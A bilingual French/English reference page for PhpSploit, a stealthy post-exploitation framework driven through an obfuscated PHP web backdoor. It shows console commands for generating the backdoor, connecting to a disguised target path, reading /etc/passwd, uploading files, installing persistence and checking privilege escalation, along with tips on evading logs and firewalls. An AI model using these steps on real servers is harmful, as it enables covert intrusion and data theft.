PhpSploit

Framework de post-exploitation furtif qui communique via une backdoor PHP minuscule et obfusquée, offrant un shell de type Meterpreter sur simple HTTP. Stealth post-exploitation framework that communicates through a tiny obfuscated PHP backdoor, giving a Meterpreter-like shell over plain HTTP.

↗ https://github.com/nil0x42/phpsploit

Overview

PhpSploit is a full-featured C2 framework built around a minimal, heavily obfuscated single-line PHP backdoor. Once the backdoor is deployed on a compromised web server, the framework’s Metasploit-style console connects to it over ordinary HTTP requests, providing a persistent, stealthy shell with modules for file management, process execution, privilege escalation checks, and pivoting — while keeping the server-side footprint tiny and evasive.

Common Usage

Launch the PhpSploit console

phpsploit

Generate the backdoor payload to upload/inject on the target

phpsploit> exploit --generate

Set the target URL where the backdoor was placed

phpsploit> set TARGET http://<target>/uploads/backdoor.php

Connect / establish the session

phpsploit> exploit

List loaded modules

phpsploit> show modules

Typical Session

phpsploit> set TARGET http://victim.com/images/logo.php
phpsploit> set KEY mysecretpassphrase
phpsploit> exploit
[+] Session opened on http://victim.com/images/logo.php

phpsploit% sysinfo                  # gather target OS/PHP info
phpsploit% shell whoami             # run a raw shell command
phpsploit% download /etc/passwd     # pull a remote file
phpsploit% upload local.sh /tmp/x.sh
phpsploit% persist                  # install persistence module
phpsploit% lpe-cve                  # check for local privesc via known CVEs

Key Settings

set TARGET <url>       URL of the deployed backdoor
set KEY <passphrase>    shared secret used to obfuscate/encrypt traffic
set PASSWORD <pass>      HTTP Basic Auth if target requires it
set PROXY <proxy>        route session traffic through a proxy
set UA <string>          custom User-Agent for backdoor requests

Tips

  • The backdoor is designed to blend into normal HTTP traffic and log noise — good for engagements needing long-term stealthy access rather than a loud reverse shell.
  • Sessions are stateless HTTP polling, not a persistent socket — expect latency but strong resilience against restrictive egress firewalls that only allow outbound 80/443.
  • Always set a strong, unique KEY per engagement — it protects the backdoor from being trivially reused by anyone else who finds it on the box.
Help / Man page
phpsploit [options]

  -h, --help          show this help and exit
  -v, --version        show version and exit
  --plugins DIR         load plugins from DIR
  --safe-mode           disable dangerous shell commands

Console commands:
  set <SETTING> <VALUE>   configure a session setting
  show settings            list current settings
  show modules              list available modules
  exploit                   connect to / deploy the backdoor
  exploit --generate        generate a fresh backdoor payload
  session                   manage active sessions
  history                   show command history
  exit                      quit PhpSploit

Vue d’ensemble

PhpSploit est un framework C2 complet construit autour d’une backdoor PHP minimale, tenant en une seule ligne fortement obfusquée. Une fois la backdoor déployée sur un serveur web compromis, la console de type Metasploit du framework s’y connecte via de simples requêtes HTTP, offrant un shell persistant et furtif avec des modules de gestion de fichiers, d’exécution de processus, de vérification d’élévation de privilèges et de pivot, tout en gardant une empreinte serveur minuscule et évasive.

Utilisation courante

# Lancer la console PhpSploit
phpsploit

# Générer le payload de backdoor à uploader/injecter sur la cible
phpsploit> exploit --generate

# Définir l'URL cible où la backdoor a été placée
phpsploit> set TARGET http://<target>/uploads/backdoor.php

# Se connecter / établir la session
phpsploit> exploit

# Lister les modules chargés
phpsploit> show modules

Session typique

phpsploit> set TARGET http://victim.com/images/logo.php
phpsploit> set KEY mysecretpassphrase
phpsploit> exploit
[+] Session opened on http://victim.com/images/logo.php

phpsploit% sysinfo                  # récupérer les infos OS/PHP de la cible
phpsploit% shell whoami             # exécuter une commande shell brute
phpsploit% download /etc/passwd     # récupérer un fichier distant
phpsploit% upload local.sh /tmp/x.sh
phpsploit% persist                  # installer le module de persistance
phpsploit% lpe-cve                  # vérifier une élévation de privilèges locale via des CVE connues

Paramètres clés

set TARGET <url>       URL of the deployed backdoor
set KEY <passphrase>    shared secret used to obfuscate/encrypt traffic
set PASSWORD <pass>      HTTP Basic Auth if target requires it
set PROXY <proxy>        route session traffic through a proxy
set UA <string>          custom User-Agent for backdoor requests

Conseils

  • La backdoor est conçue pour se fondre dans le trafic HTTP normal et le bruit des logs : idéale pour les missions nécessitant un accès furtif de longue durée plutôt qu’un reverse shell bruyant.
  • Les sessions reposent sur du polling HTTP sans état, pas sur un socket persistant : attendez-vous à de la latence, mais avec une forte résilience face aux pare-feux sortants restrictifs qui n’autorisent que le trafic sortant 80/443.
  • Définissez toujours une KEY forte et unique par mission : elle empêche que la backdoor soit trivialement réutilisée par quiconque la trouverait sur la machine.
Aide / Page de manuel
phpsploit [options]

  -h, --help          show this help and exit
  -v, --version        show version and exit
  --plugins DIR         load plugins from DIR
  --safe-mode           disable dangerous shell commands

Console commands:
  set <SETTING> <VALUE>   configure a session setting
  show settings            list current settings
  show modules              list available modules
  exploit                   connect to / deploy the backdoor
  exploit --generate        generate a fresh backdoor payload
  session                   manage active sessions
  history                   show command history
  exit                      quit PhpSploit